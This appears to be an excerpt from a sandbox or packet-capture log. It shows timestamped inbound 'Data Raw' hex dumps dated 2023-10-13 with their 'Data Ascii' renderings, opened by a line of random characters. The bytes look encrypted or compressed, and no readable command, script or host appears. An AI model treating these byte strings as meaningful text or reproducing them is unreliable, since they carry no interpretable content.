A#rJZSPhZa%VfR =clkO)5lW]>Zc*\:YO.u3+$_<=e_sUD-{\|Ja{Q9x?Z${-~4;\|hU:jc# ilLU.Lkj
2023-10-13 14:06:11 UTC	3356	IN	Data Raw: 32 a5 07 e0 47 54 f1 bc a3 5e 8b d0 52 27 3d a0 02 a8 5d 11 81 a7 64 a8 ac 7a 21 79 73 0e f1 59 f3 ce 1b 22 25 b8 4e 17 f8 6e 15 f3 85 77 4d 3c 84 f9 45 8a d0 bf e3 11 ef 5a 3d 56 c5 9d d4 b2 8a 1d 67 22 59 d8 6a 88 5a 9f 72 f4 c3 50 57 a9 04 a6 73 fa d9 c5 ed 23 d7 7a 80 9d b0 20 16 15 4b 47 40 1e 5f 91 17 4c 7e 36 e4 75 a7 bb a0 07 12 5e 13 83 02 30 4d 64 3d 8a 04 ec d8 8d 29 23 70 24 b2 36 ca 6e f9 a2 8a 3c 68 d4 cf 3e f6 09 73 ee fe 63 f0 1b 18 cd d2 74 49 9a 4a 3f 04 e7 4b 88 22 0c b2 de a7 0c 6c ef 54 9f 36 cc f2 5e ad 26 14 91 2b 13 67 9c 1d 70 c0 5f dd 4e 5e e7 7f e6 b0 94 62 fc 66 bf ec d1 46 eb e9 6a a6 99 b2 8e 7b d7 96 1f 9e 63 14 5f 5b 90 33 4b 9b e8 43 e5 1c e9 5a e9 f3 90 ea 88 4b 66 53 aa eb 3f e3 55 68 c6 b3 1a 77 cf de 68 b2 d4 dd 77 0b Data Ascii: 2GT^R'=]dz!ysY"%NnwM<EZ=Vg"YjZrPWs#z KG@_L~6u^0Md=)#p$6n<h>sctIJ?K"lT6^&+gp_N^bfFj{c_[3KCZKfS?Uhwhw
2023-10-13 14:06:11 UTC	3372	IN	Data Raw: 6d 86 0f 0a b6 96 b8 16 55 68 63 fa 0f c9 69 65 89 ab 5f e1 cf d5 09 f2 13 16 a6 1c 4b 3d 70 e7 1c cd d0 6b d6 02 f2 1d 10 cc 1f 03 e2 9a f3 48 ee 85 68 e6 f9 8d df aa e5 17 78 31 b8 43 aa f6 bc c7 1b 46 35 8c d1 4d 88 fc de 28 8b 07 e8 35 83 39 8f f4 53 71 cc 55 ba ea eb e8 c3 3f b7 77 4e f2 d5 8c 15 db ba 32 36 a4 2a 02 3d f1 0f a7 ba bd e2 9a 81 88 16 51 85 fc 73 c9 f7 03 91 18 ad 0b 61 cf fb f4 07 2b 84 99 72 cb fb 37 7f 6c d3 aa 57 14 45 19 3e f0 8d e5 d4 41 72 20 b3 5d 41 17 76 9c 46 1b 3a 0c 04 85 8a 26 52 7d 93 c4 ee cf e2 72 4d c0 e2 ba 5e 0f fc f0 8d 4f 68 62 05 5a 52 f1 f2 f0 cb d9 ea 85 45 d7 18 50 e2 4e 01 05 40 d2 c0 69 7d a7 78 2e dd 01 3c 96 43 0b 2e 41 ad b5 ac 82 bb fe 0a ad 60 da fd a0 f0 6d c5 3f a3 c5 dc 0e ea c0 ce e4 b0 30 fe e5 db Data Ascii: mUhcie_K=pkHhx1CF5M(59SqU?wN26*=Qsa+r7lWE>Ar ]AvF:&R}rM^OhbZREPN@i}x.<C.A`m?0
2023-10-13 14:06:11 UTC	3388	IN	Data Raw: 39 fd 66 b7 4d 81 8a 64 0d 3d c5 88 ff 5e 1d 02 42 b2 fb 74 92 a8 51 37 ba 1e ee 56 38 c5 44 0c 46 1b 8b 97 9c f8 16 1c 80 ac 2c b6 34 4f af 12 b4 c7 e4 c0 33 91 35 b7 11 a4 5f 03 ab 2b 54 14 c6 50 7f 2c a4 fc 18 5b f3 98 ba 44 33 dc b2 c9 59 bd ad f9 7d 0a ed fb da d1 e5 97 fc 06 84 79 94 fa 1b cb 54 79 77 61 18 76 50 75 28 74 52 47 81 76 a5 c2 cd 5f f8 14 11 0b 11 21 b0 8f a3 e3 52 eb 4f 77 1f 7c 3a a1 94 69 82 98 0f 32 24 78 34 2c 4d 6e 50 67 4c 67 1a c0 ba 41 68 38 01 27 2b b4 f4 0a d1 e6 13 37 ad a0 40 7a 79 99 da 6f 58 8e 2d 4a a8 d2 69 07 1d b2 0d a0 a6 23 63 45 7b ca 2d aa 40 20 fc 10 66 95 68 8a ad 1b 94 9d e7 27 b3 8c 68 e0 60 bf f8 c6 b6 64 1e fd f4 ba 17 20 8b 77 7b 79 a4 e2 63 c1 20 71 07 09 da ef 30 ae 65 bb c3 be 89 2f 52 b4 95 11 01 42 4a Data Ascii: 9fMd=^BtQ7V8DF,4O35_+TP,[D3Y}yTywavPu(tRGv_!ROw\|:i2$x4,MnPgLgAh8'+7@zyoX-Ji#cE{-@ fh'h`d w{yc q0e/RBJ
2023-10-13 14:06:11 UTC	3404	IN	Data Raw: bd a2 59 dd 88 45 37 32 27 4e e4 da e3 1f b9 e6 7d 04 b5 d2 82 16 0b 49 82 1b e1 df 50 6b 53 1f 33 8a f3 bf 0f 65 78 f7 d7 c0 d0 51 c3 37 36 5c 40 bb 70 cb 07 f2 88 85 6a 27 ac 08 e9 6f 15 8a 4e 30 ea a2 1c 5f dc c6 f9 9d b4 8e e7 d9 af d3 00 5a a1 07 cf 79 7d 12 93 24 47 79 dc be 63 36 b5 3a 8f 44 0a fe 43 43 00 fa 5f 5b e4 51 09 7f bf b2 e8 32 76 c0 39 8b 22 f5 97 79 9f c4 40 d5 2b 06 64 54 9e 2a d5 72 c7 3e 94 b1 f2 5b 6d 23 6c 7c 34 ad 62 bc 28 99 c0 59 92 c9 33 44 61 5e b9 91 67 3b fc 2d 6a 6f 28 5b f4 ca f1 9e a8 3e ea ff 69 46 70 f1 be 90 f3 a9 83 3d 4c 1d 70 26 a1 41 99 8e 37 40 36 ad e9 0f 32 13 b8 d9 25 5f 67 3d 23 bb 62 4b 6b cf 50 44 31 1f 08 c1 5d d0 ca 37 67 a5 52 77 b0 3a 50 4b 67 b8 7f 7d 8d ce 7a 4c e0 88 ac 2c a0 79 75 c2 ed 22 68 64 48 Data Ascii: YE72'N}IPkS3exQ76\@pj'oN0_Zy}$Gyc6:DCC_[Q2v9"y@+dT*r>[m#l\|4b(Y3Da^g;-jo([>iFp=Lp&A7@62%_g=#bKkPD1]7gRw:PKg}zL,yu"hdH
2023-10-13 14:06:11 UTC	3420	IN	Data Raw: 27 06 71 6a e8 31 bc 04 52 99 e6 97 b1 78 58 a0 f4 aa c2 21 ce 72 ee 6b fe 3d 90 f3 44 49 d8 68 6a 5b ad 3b e3 09 69 4d b5 65 9b 19 ba f1 2e c8 99 d4 c0 c4 3c a8 54 87 d4 92 7a b4 8f ad fe d3 05 ca ec 94 90 73 ad 8e 9a 48 cd 36 dd 47 94 38 44 ab c4 0e 92 1c 0a cd a9 fc da cc 92 6b d8 18 f1 02 9b 9e 8f 0c 34 56 a4 f1 8a c7 d6 bd 2c b9 c2 10 88 20 6f d4 88 70 67 9f 2a 7d 0f 6e ff e2 5d 28 c7 dd bd 54 76 70 1f 8b 82 e9 df 6f ce ce 98 a9 30 f6 b6 6f 78 43 8e dc 23 92 90 f8 19 a0 27 db f2 00 82 26 ff 59 f6 e4 76 9b 92 fd 03 61 89 f7 47 de 72 f4 92 96 7f fb 1e 1c ba 0d 31 01 7e 05 76 c5 5c cf e4 57 d5 36 b4 13 19 57 a5 d1 54 e6 82 97 ab 59 81 92 5a d8 68 a5 72 57 df a8 2d 48 f6 14 f2 98 f4 12 64 ad 22 5e ef 88 41 0f aa 17 5e cb c2 41 e6 13 69 9d 03 d3 a6 17 25 Data Ascii: 'qj1RxX!rk=DIhj[;iMe.<TzsH6G8Dk4V, opg*}n](Tvpo0oxC#'&YvaGr1~v\W6WTYZhrW-Hd"^A^Ai%
2023-10-13 14:06:11 UTC	3436	IN	Data Raw: 14 94 31 15 5a 5c db b7 a7 4d 20 28 9c 9c 0e 5e 65 de a0 35 ec af 2b 86 7c b5 34 08 db 09 0f 4d c2 39 39 fc ac 93 83 86 ab a6 8e 4a b4 6c 83 15 ae 40 7c b7 f1 30 db 6b 2b 8e dd be ed 5c be f0 86 b9 ad 29 75 47 b1 8b 80 dc 4e 4b d3 3a d5 23 68 62 d7 a3 15 ae 49 7d b8 0b a8 53 f3 d5 53 90 3c 1a d6 f8 a2 e5 43 71 b6 05 19 86 c4 8e c6 be 2a b6 91 60 c1 29 1f f1 61 f7 98 85 a7 78 3c 7c 8b c8 f3 05 b7 83 03 bd f8 16 7e 3e 44 43 d6 24 61 33 91 79 4d b6 30 07 f3 fe e0 75 24 96 c7 35 9e 0a c3 f2 eb 16 87 e4 17 42 3a c1 c0 d4 76 dd 8e 10 16 44 cb 33 6d 7f f0 11 e4 eb 5d 19 a4 7a 9d 27 94 3f ba a3 fe fc 6c 91 da 3a 0f 1e 32 11 aa 70 0a 4b 1f 93 0a 34 25 42 50 fb 50 f6 bc ed de e0 36 60 6d ad 52 d5 7e 6e 07 1d c9 b3 be 89 07 e1 70 ce 69 26 39 df 5a be fa 2b d2 d2 24 Data Ascii: 1Z\M (^e5+\|4M99Jl@\|0k+\)uGNK:#hbI}SS<Cq*`)ax<\|~>DC$a3yM0u$5B:vD3m]z'?l:2pK4%BPP6`mR~npi&9Z+$
2023-10-13 14:06:11 UTC	3452	IN	Data Raw: f9 32 41 ec 4e de e7 ec 23 96 c9 a5 47 82 51 85 8f d9 fb 32 77 32 8a bb 0b e3 35 db 9b 11 61 df 1f 55 5e 8f 5e 09 14 da 60 0d 34 73 98 3b 90 30 59 c1 98 f2 28 08 55 94 10 a3 6c 6e f5 1c 1b a1 20 6b df 1e 25 94 72 83 1d 64 d3 42 1b 66 70 22 9d 3b e0 fb 86 11 c9 58 81 8c d2 c5 87 59 0b 42 e1 78 b2 53 e2 81 2e 60 4f 57 80 4f f3 18 31 f9 88 a1 b7 42 3f ae 2e 9b 63 e1 34 b2 fa 97 96 e7 23 69 51 d1 16 85 91 fa da 2b ff ff 07 50 24 4c 16 ec a3 62 65 b0 5b 96 47 d4 b7 f6 ed 9b f9 04 63 00 ed ab ca 90 07 53 08 24 f6 62 e7 cd f3 9a 69 cf 23 87 c8 3e 9d 69 df 23 04 e4 ab 62 bf 69 bc 6c cf ef d8 e7 26 ae 5b 50 f0 f1 53 1c 93 83 6f 09 e9 73 91 87 ee a1 6c 87 e9 b5 f7 0b 55 b6 cb 65 27 d5 15 aa 8f 95 4f 38 30 0e 2b 48 66 02 57 03 f6 d1 ce dd a4 bc 11 6c 8e 74 17 17 4b Data Ascii: 2AN#GQ2w25aU^^`4s;0Y(Uln k%rdBfp";XYBxS.`OWO1B?.c4#iQ+P$Lbe[GcS$bi#>i#bil&[PSoslUe'O80+HfWltK
2023-10-13 14:06:11 UTC	3468	IN	Data Raw: 06 60 4e 1c 0d d3 87 cf ed b7 5a af ce 49 80 0c 2b 15 aa 5d e7 72 bc dd 8a c3 de 1f 10 96 81 ac 82 c5 f4 62 ed 0a dd 93 44 fd d5 52 f9 c1 71 fd 73 60 9c 19 97 5d f2 de 51 8e 7d fc ab e4 70 88 2d 98 15 ee d3 cc b0 44 cd c6 e7 36 de eb a0 a8 a0 50 30 25 d7 07 96 42 61 bf 62 51 50 9d 83 29 1e 74 74 0a c9 2d f4 22 59 e7 4c 73 75 94 c8 95 de 73 7a d9 1c 02 4e 5c c0 64 a1 ed 9f 74 e1 1c 8c 25 5e 59 a9 26 ea ac d4 10 77 c8 9b 73 60 99 1b 28 d1 1f c0 fd 26 05 fa 75 64 47 0c 28 30 40 dd a6 36 6e 44 9e 01 98 0c 6d c8 3d 0b bc 25 26 dd 61 92 f4 50 a4 1f a8 21 7b 68 f0 85 09 53 8e 7c 56 04 24 63 96 5e 51 35 08 1b 65 98 00 ae 11 0a 92 ea 37 f1 ff db 98 7c 6d a0 e5 85 de b7 13 f6 e6 2b 89 f4 82 0d 06 9a a2 64 a8 78 ba d7 e9 48 77 f1 1e c9 5e ac fa 43 58 7b b2 5a d7 70 Data Ascii: `NZI+]rbDRqs`]Q}p-D6P0%BabQP)tt-"YLsuszN\dt%^Y&ws`(&udG(0@6nDm=%&aP!{hS\|V$c^Q5e7\|m+dxHw^CX{Zp
2023-10-13 14:06:11 UTC	3484	IN	Data Raw: 1b f3 af 58 ba b8 a8 55 21 b1 8d 6a 3e 99 b9 68 e2 92 ff cd 46 2d 15 df 6b ba be 89 f2 13 ef 92 b3 46 1c 92 bd 7f 12 31 e1 24 5b 8d ee 17 12 86 cc 75 e9 3f fe 03 ed 11 05 dd a9 61 65 37 4a 84 6d 11 dd 53 ed c8 51 bf c7 e9 f3 92 79 80 91 05 72 4f c0 02 18 16 c5 15 a9 f3 d5 5e 63 bf e5 28 07 b6 4f 0d 39 cc 7e 62 95 77 a2 ee 95 48 48 fb 1d d7 3d e8 83 ed ab c3 fe 7b cf f2 45 a7 5a 9d 7f 1c c4 64 f9 5e a8 d4 94 96 67 57 dc d0 b4 f0 62 a1 9c 58 a4 51 85 7c 00 6b 7f 4c 32 c9 6f c9 60 67 48 df d4 64 a4 e5 e8 e9 01 71 b8 ba aa ab 42 d2 bc 58 97 99 7c 2b a2 d7 86 87 5f e7 2a 3e 38 59 77 03 17 2d 7a 0d d0 f7 22 82 d1 15 2b 70 4e 2e 28 1d 91 1c eb 50 b7 a1 a5 e0 69 eb a7 3e 91 e8 c7 66 a2 81 4f 91 c8 55 86 4e 49 c5 ec 42 c1 32 07 92 8d 14 dc 48 03 a8 1a 2c b2 cb e7 Data Ascii: XU!j>hF-kF1$[u?ae7JmSQyrO^c(O9~bwHH={EZd^gWbXQ\|kL2o`gHdqBX\|+_*>8Yw-z"+pN.(Pi>fOUNIB2H,
2023-10-13 14:06:11 UTC	3500	IN	Data Raw: 44 3b 74 6b de 72 93 58 96 93 bd 62 b6 da c9 24 7a bc 7b cb d0 11 63 78 aa af 86 4a d7 41 46 20 3f e7 64 16 01 a6 73 86 94 a8 96 d7 1e f1 07 82 9f 3e bf 7e a9 68 11 18 f0 32 50 eb a0 1d 8c 5c ae 07 5b 63 15 69 2e 87 0a f7 70 6b 4c 0b 02 96 d8 47 05 21 33 21 cc 53 72 bc 41 f3 28 04 e0 0c c6 32 a9 96 39 e1 9e 5a e9 0f ae f9 8c ad 78 e1 88 dc 3c 96 90 50 8b 58 86 69 3f a5 5c b8 ce ba 6c 57 85 65 6f 5d ac 76 3e f4 d9 e1 2c b2 11 1e 5f 74 41 2c 3d 42 5f 9d f0 c7 45 35 5f 80 a8 3a 71 b3 f4 91 a1 f1 05 78 4d 57 32 de 23 04 2e 58 e2 e6 7f 24 8b ca 18 79 18 8c 56 e8 76 ea 8e b5 85 31 97 97 17 af 36 c5 98 ed 83 4e f4 9e e4 1d f9 ea c4 8f 38 67 fe f0 5a f4 75 a8 ad 70 b8 37 eb f1 e0 c3 ae 0c 21 59 2c 44 3a 58 02 b7 36 34 a6 a2 cc 64 c4 dd 95 4a 5e 0e cd 10 6c c7 7c Data Ascii: D;tkrXb$z{cxJAF ?ds>~h2P\[ci.pkLG!3!SrA(29Zx<PXi?\lWeo]v>,_tA,=B_E5_:qxMW2#.X$yVv16N8gZup7!Y,D:X64dJ^l\|
2023-10-13 14:06:11 UTC	3516	IN	Data Raw: ea d6 d6 88 b7 13 ca fd 8a 66 ad 8b e4 f8 1c a3 6e 24 04 08 9c b4 f4 11 24 c7 c9 e6 43 4e cc 35 d2 4a 0a f0 69 66 ba 91 63 ad b3 f8 73 48 13 6f 83 6e 83 17 ee 9e 72 73 df 0c 95 9a 3b d4 2e d6 25 4e d2 4d 88 18 39 76 d4 36 a7 d1 15 32 92 0f af 94 7c 21 16 84 9f d6 71 2f fc 8e a2 6a e3 a1 e3 fd 64 1a 71 74 fa 3e 65 57 e0 6b 61 cb 22 d5 4b 94 ee 52 da 47 ff 12 ea 3c 16 d7 35 e3 1f b4 71 81 a3 a2 27 64 65 ad 34 01 8f af 40 71 17 68 8e e0 cd 97 a6 fe 80 3e 94 af 5a 69 db 16 f2 43 3b ef 56 9f 1b 28 5e 3d c0 97 5d b1 b6 48 e1 33 3c c2 2d fc 6c 2e d8 da 75 33 c2 03 1f 9a 96 7b f9 00 8f b1 ce 1e b1 82 c3 d8 64 28 2a 57 02 a9 19 36 3b 2a e3 91 52 be c0 82 4d ba d1 40 57 27 13 19 ae 62 9f 2d af d3 b3 da 69 ea 85 85 fd 08 5b 04 e6 66 0e 7f b7 9b 23 8d 84 a2 6d 50 bb Data Ascii: fn$$CN5JifcsHonrs;.%NM9v62\|!q/jdqt>eWka"KRG<5q'de4@qh>ZiC;V(^=]H3<-l.u3{d(W6;RM@W'b-i[f#mP
2023-10-13 14:06:11 UTC	3532	IN	Data Raw: 55 f5 8c 19 12 d1 dc 2c b6 9b 2e 83 2d bd 83 c7 e0 9b e8 a7 43 16 87 65 92 62 cd 47 bb fd 83 50 d0 3c 4f 1d c5 75 e0 fd a9 ee 44 2c 66 54 70 51 07 cc f7 c5 e9 64 c5 e4 77 d5 e1 9e 11 05 6e 3a e3 34 b4 9a 74 3a ac d6 2d 14 9b 76 e1 48 50 2a f8 a7 a7 5d 5c 3a 91 94 39 21 ca 8a cd 99 49 d1 62 0f 24 40 bb ce 16 65 9d 81 11 4b 16 d4 f6 a9 fa 29 d5 81 64 d4 31 6a 10 27 fe c2 c6 e6 8a 1c ad 28 76 46 ad 27 e8 fa d7 8d 04 62 31 14 93 eb e7 5d 94 8e f3 14 6e 0a ac d7 8e b8 9a 30 ab 15 33 69 43 2e 60 91 f1 f0 1a f5 df a1 ae 88 08 47 32 04 b4 e0 60 3e dc a1 25 92 c6 9a 1f cd a4 9c b3 67 8c ac a0 b9 13 f8 1d a3 1b 2e 21 e4 4f 94 5b eb 48 6a de 52 a2 22 aa 81 dd 7b 98 3a 76 ad 38 94 da 7f 70 de 42 e4 b1 da cc a4 20 68 bc 80 f7 f3 4b 22 ed 3d 15 2b 0d 99 c0 a5 94 40 fc Data Ascii: U,.-CebGP<OuD,fTpQdwn:4t:-vHP*]\:9!Ib$@eK)d1j'(vF'b1]n03iC.`G2`>%g.!O[HjR"{:v8pB hK"=+@
2023-10-13 14:06:11 UTC	3548	IN	Data Raw: 5a bc 63 58 41 61 d6 7e a4 44 ef b9 9c a9 0d 70 9d b2 fc 78 c1 0c ec 28 66 bf 17 40 0a 46 1c bd 19 0a fd 1b 28 f8 0d da 09 dc 1c 8a 53 27 13 e8 6f 30 05 2c 1f 71 c4 71 4d 96 9e 00 28 fa 71 8b ea ab bf 67 7a 2b 4b 72 df bd 27 21 2c 43 60 46 53 8b 14 33 06 50 3a ab 3d d0 f8 6d b9 b7 59 97 cd 76 55 e3 46 b0 e9 21 00 b3 8a 14 59 97 3f a0 db 96 2f d0 89 cc b3 6e d3 13 b2 32 d4 90 ac 3d 23 01 e1 bc 74 d7 31 9c 43 f9 88 c5 a7 50 87 ea b2 7a 6c f2 30 2a 0f 74 9a 25 cc 31 dd f1 d5 89 aa 05 53 d5 43 96 fe 7d 7b af a7 a8 f6 b2 5b 4c f6 66 2d bf 10 8f 9c a3 02 2d 1c c2 32 3d 5e 71 77 aa b1 16 92 df 5c 7a 58 25 40 73 0c 3a 28 ab 2d c8 22 91 00 99 98 13 28 05 29 55 b1 7a a2 70 29 3b 2f 19 e6 1e 88 a8 4f 12 a0 33 cd 22 9a 2f 9a b0 48 e9 8f 18 bd 45 83 5b 64 48 fb 2e ed Data Ascii: ZcXAa~Dpx(f@F(S'o0,qqM(qgz+Kr'!,C`FS3P:=mYvUF!Y?/n2=#t1CPzl0*t%1SC}{[Lf--2=^qw\zX%@s:(-"()Uzp);/O3"/HE[dH.
2023-10-13 14:06:11 UTC	3564	IN	Data Raw: c6 ca a7 22 e5 e5 3e 6c 49 85 bd 0d 93 58 2f fe 45 3e f5 fc d0 83 34 fe a6 5c 1b e7 e2 f8 08 18 f8 4e 55 6e da 0d 58 95 95 37 57 0c af d1 b0 95 58 d7 d9 a7 62 63 4e 58 f9 2d bf 09 e6 28 89 6a 84 02 9f 75 9a 21 78 49 4f cd 19 30 10 b0 91 14 e4 f4 7b c7 e3 08 4c 66 37 92 57 62 2e a1 2d 17 77 44 61 08 58 af 71 89 fa dc 7f e4 83 73 e2 08 43 28 75 eb 88 d3 6d ac b8 cb 19 8a e3 9b 7c 72 87 69 3f ba 51 56 a2 78 3f 4c f9 8e 90 08 e8 1c 18 e6 a0 fb bd 4e ab 8f 60 40 40 fd f1 2a 27 3e 52 4d 80 d0 95 c9 2e cc 40 9d 24 88 48 13 96 e5 2f 12 3b 95 11 d2 93 30 04 bb 49 bc 1e 13 1e 59 8d e9 42 21 08 e9 01 b2 b4 a6 a2 47 f6 bc 66 dd e7 9d 45 e3 26 92 3e aa cf c1 49 b1 8c 9d 6e d6 af 5d c0 be 04 03 47 fc cd f6 d0 7c c1 7a 12 14 16 bb 34 6f ed 6e 5e 1b 9b 20 04 8d 76 6e 4d Data Ascii: ">lIX/E>4\NUnX7WXbcNX-(ju!xIO0{Lf7Wb.-wDaXqsC(um\|ri?QVx?LN`@@*'>RM.@$H/;0IYB!GfE&>In]G\|z4on^ vnM
2023-10-13 14:06:11 UTC	3580	IN	Data Raw: 4d 7b 46 a6 32 bb de 3c e0 91 21 f5 7d 98 94 db 6f 5b d7 51 30 8b ae 0a b5 af e2 29 d2 6a 56 b5 9f 92 17 f1 52 25 51 f7 08 a9 9a 9a 24 d2 0c 08 b4 ff 36 84 3c 68 04 83 f8 c6 80 28 b9 54 4f 8d ed 00 1f 97 91 8e e9 07 72 fc 6a 82 eb 8e 63 99 5e cb f6 df 3f f8 69 f6 64 13 aa 2b 65 07 02 99 78 53 a9 54 8e 36 f4 82 c1 c8 f4 f0 cb 5e 82 f5 07 94 85 15 78 0f 51 61 b6 56 c2 60 fe 49 36 f8 a8 2a 2f 8e 60 a8 e1 10 7d fd 06 79 01 6d 99 a9 7e 18 a9 44 7c a3 30 d9 77 9d 29 1b fc 43 20 b6 ca de 4e 28 15 57 0f 9e 6d cc af 53 c5 49 65 ad de 4b cf cf 96 50 c6 67 a9 2a 06 4d ab db f8 f8 d1 ad ad 7c 28 4f c5 18 1d 76 6d 39 85 6f 90 1b 52 68 1e 19 06 66 eb 15 3f 54 c9 81 b8 8d b6 f7 8a ea d0 17 bf f4 33 a7 82 37 59 ee 72 2f c3 13 38 df 47 06 5b 56 3a c7 ba 66 9c f4 69 0b 40 Data Ascii: M{F2<!}o[Q0)jVR%Q$6<h(TOrjc^?id+exST6^xQaV`I6/`}ym~D\|0w)C N(WmSIeKPgM\|(Ovm9oRhf?T37Yr/8G[V:fi@
2023-10-13 14:06:11 UTC	3596	IN	Data Raw: f7 5c 89 35 67 68 02 c2 fb e5 7d 61 d3 ad ec 01 b7 f4 08 48 ad ef f1 71 60 4e 28 33 55 47 df b7 e3 fb d4 00 44 99 a0 a8 35 94 37 e0 97 59 c5 9e 57 cf 7a 46 92 88 52 23 8b 11 bf d2 a6 f7 d1 77 cd 23 a5 2b 1e bb 32 ef e6 92 f1 53 bd 77 d1 f5 55 03 4a 35 2e c2 ab 0b db 16 cd 98 d5 56 55 06 5c 28 ff 28 ac aa 43 60 b2 da 9c 2d 85 fe f6 44 b0 de b6 40 6f 3f 10 74 47 79 b9 b7 2c 77 78 a7 e7 00 ca 8d 9d 1a f2 ba 01 ac 13 75 2f 74 09 3b 4a ec b6 4f c1 75 58 f7 b6 82 56 a0 74 54 88 36 4f 79 4f 97 f0 c6 c8 5d 2b 48 dc 2d 00 aa 2a b8 5e b1 76 1a 83 96 f7 03 e8 23 a7 d8 f5 f5 99 62 d9 82 8b 46 94 6e f1 22 78 4d b2 c8 bf eb e3 32 5d da 12 3a da 4d 8b 1d 77 21 66 5d c5 ae 94 14 7b 48 4b 3d 0c ca 65 bf 51 1c 53 63 3c 16 f1 9d 86 53 87 16 d4 61 04 f6 b8 44 6d 20 ed 22 ff Data Ascii: \5gh}aHq`N(3UGD57YWzFR#w#+2SwUJ5.VU\((C`-D@o?tGy,wxu/t;JOuXVtT6OyO]+H-*^v#bFn"xM2]:Mw!f]{HK=eQSc<SaDm "
2023-10-13 14:06:11 UTC	3612	IN	Data Raw: 6e a3 76 fe 1c cc 53 b1 f2 2f 5d 29 83 26 0c a8 de 09 f2 98 e8 0f 55 05 03 78 28 85 b6 e7 05 83 78 cc cc aa 55 a6 05 d5 8f 27 25 28 a3 16 43 8a 43 56 4f de 20 5d e4 00 af 21 c6 be 79 aa 23 8c 79 f3 f9 71 f1 97 57 55 09 83 e6 36 36 02 fe 2d 67 a8 33 7c 64 6f 95 45 7b 50 44 5c 5e 33 16 be 73 70 f2 e7 97 66 24 f9 d7 4f ea 0a c7 2e 68 a5 d2 4d 30 bc ce c2 29 f6 df 99 ad 84 e5 45 e4 61 bf 73 e4 c2 e8 11 cb 0e 31 2f bf 86 65 35 1d 39 d6 33 e2 d7 62 d0 88 71 79 1e e5 e0 03 8b dd dd ed ab e9 08 65 fc 54 5c 14 f4 c5 59 08 de 19 e5 49 f4 d3 fc 62 da d5 1b 98 18 65 e1 8d 47 ef c0 b0 6b 27 a1 ef 88 d9 3a 59 41 71 a8 6e 53 95 de 6c 26 8f 2d 44 35 46 a5 81 fc a3 fb 3e 9c ad 6a b6 8a 78 d5 12 ec 60 b8 4c 9d d1 a4 69 ec bf c0 e6 9f e0 29 90 ae 95 4b 95 2e 42 25 44 33 06 Data Ascii: nvS/])&Ux(xU'%(CCVO ]!y#yqWU66-g3\|doE{PD\^3spf$O.hM0)Eas1/e593bqyeT\YIbeGk':YAqnSl&-D5F>jx`Li)K.B%D3
2023-10-13 14:06:11 UTC	3628	IN	Data Raw: 41 01 c8 6c 07 21 93 35 05 58 66 e6 e0 7e f3 43 73 e9 7a ec 51 dc 79 ab da 33 3d d0 44 c2 98 fb a0 c3 2d c6 7e 48 e2 7f 3a f3 fe 1e 8f c3 97 f3 f2 07 d1 b8 6d 4a 2c c0 49 d3 8d 32 da ab 78 d1 da 88 bd d2 12 71 01 82 59 60 87 a1 7b d1 e0 60 72 ca 3a 2f 77 f9 55 dc 46 fe 3d f2 67 dc 90 94 e2 3e 35 9c e5 4a 64 b3 6c 29 5c d9 2a 88 23 af e5 f6 ef ec b2 a7 28 be 4f d9 47 a7 bd e0 bc d9 3c 69 68 07 98 c3 64 8e 98 2d 72 d3 ca 0d d8 1e e2 7b eb 0f 6e be d8 db 8c 1d 44 a4 82 6a 4e b7 50 14 42 13 df a4 00 51 c5 38 5e 41 0e b5 bd 30 40 29 fa c0 d0 b1 a8 b9 6a 48 8a e6 15 f6 33 a8 c3 cb 7d 50 6e 3a 13 ce b2 11 81 b8 d3 69 6b 9f 68 dc 34 2d fc 05 6a b9 c2 ea 67 f6 17 a6 e9 02 db a4 97 2b 32 c3 44 13 9c 85 1d 54 84 34 3a 92 05 db fb f6 a9 85 cf 84 94 60 a1 09 3c eb a2 Data Ascii: Al!5Xf~CszQy3=D-~H:mJ,I2xqY`{`r:/wUF=g>5Jdl)\*#(OG<ihd-r{nDjNPBQ8^A0@)jH3}Pn:ikh4-jg+2DT4:`<
2023-10-13 14:06:11 UTC	3644	IN	Data Raw: de 6f 6d ea a1 02 11 26 a7 1a d7 ff 06 e7 4d 26 10 1f dd df ea b8 65 51 1b c0 6e 61 cb d1 29 e4 1f 17 10 4b a6 f5 41 b6 82 30 42 5a 6c b1 1d a5 19 03 c6 81 83 37 dc 0a c1 80 53 44 da e8 93 d6 d8 4b cd 03 1a bb 67 3c c9 65 0b bc dc ad 45 ee 8f f3 28 57 83 6e a3 aa 22 29 cd a5 9c 5b c7 48 8c 50 84 37 54 95 68 9f 58 5a 51 8d fa e2 24 f6 13 ca d9 c1 ed 5e d1 b7 d3 f0 ac 62 d7 c4 2e d8 47 39 c5 0c f8 88 d5 1d 8e e4 e4 a4 0f 0d fe c9 56 e9 7b c3 40 00 c3 76 1e 36 d2 0c c1 82 09 42 79 3c 73 89 bc 7a d8 c1 ad e8 6a 0c 91 a5 a0 eb 08 b5 16 6a e5 2b 48 32 90 d3 7b df 46 1a 1a db 85 f8 54 43 dd f4 0a 21 ec 62 53 3f 93 a7 37 96 06 53 48 e9 08 fb 2d 5f f8 88 90 a8 d2 fe 4e 6a f5 31 d2 7c d7 ee 18 2b 7f 96 26 2d 77 8a a0 d1 92 aa 1d 19 b6 db 94 de 3e 34 5f a8 ac 47 1d Data Ascii: om&M&eQna)KA0BZl7SDKg<eE(Wn")[HP7ThXZQ$^b.G9V{@v6By<szjj+H2{FTC!bS?7SH-_Nj1\|+&-w>4_G
2023-10-13 14:06:11 UTC	3660	IN	Data Raw: 11 22 d7 6a bb c4 d9 0a df 7a 60 58 bf cc bd ca 66 0a 7a 24 28 b6 13 6c 30 1b 46 62 ec c7 de 2d 05 9b 9f 26 bc 5f 5f 19 50 dc 4b 86 cc 71 18 bb 54 49 49 4e f1 06 b4 39 fd 7d 19 15 6d 1a 30 71 54 ce 26 1f a2 cb c6 66 d3 93 e8 39 05 1f 05 12 a3 b7 c8 ba 36 1d 06 49 e8 ca 4b f4 26 6e 40 8a 07 06 33 b4 ed f3 32 6a 02 5e c5 43 90 f0 3d f0 b4 09 b8 7e 60 cc 2c 0c 59 66 22 d8 de 79 da a7 6f 91 4c b4 94 77 a5 20 35 b2 d6 2f ab 94 6d ed c5 3f 3f 3b f5 1d 8f ef dd ac 74 be eb a3 ed 70 c7 68 c1 78 4f fb 21 05 ab 42 90 af 12 ec 42 cf ff 17 e5 ad b2 59 83 65 1b c3 d0 5b 01 75 01 5a 06 34 67 9b ca b5 a1 ff 4a 0f 9e 8f 3a a2 9a a3 64 8a 9b 79 97 6d 23 2b 2a f2 77 a7 03 79 cf 27 27 0d 79 8a 89 e9 15 f0 7e e3 89 9f d2 9f d4 04 69 12 4d 53 58 16 02 e2 a0 b5 65 f9 4a 